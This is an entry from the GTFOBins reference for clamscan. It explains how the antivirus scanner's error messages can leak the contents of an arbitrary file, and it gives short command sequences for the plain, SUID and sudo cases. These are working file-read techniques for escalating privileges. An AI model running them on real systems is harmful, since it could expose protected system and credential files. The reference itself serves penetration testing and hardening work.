GTFOBins.github.io/_gtfobins/clamscan.md

description

functions

Each line of the file is interpreted as a path and the content is leaked via error messages, thus this might not be suitable to read binary files. The output can optionally be cleaned using `sed`.

file-read suid sudo code LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p' code LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara ./clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p' code LFILE=file_to_read TF=$(mktemp -d) touch $TF/empty.yara sudo clamscan --no-summary -d $TF -f $LFILE 2>&1 | sed -nE 's/^(.*): No such file or directory$/\1/p'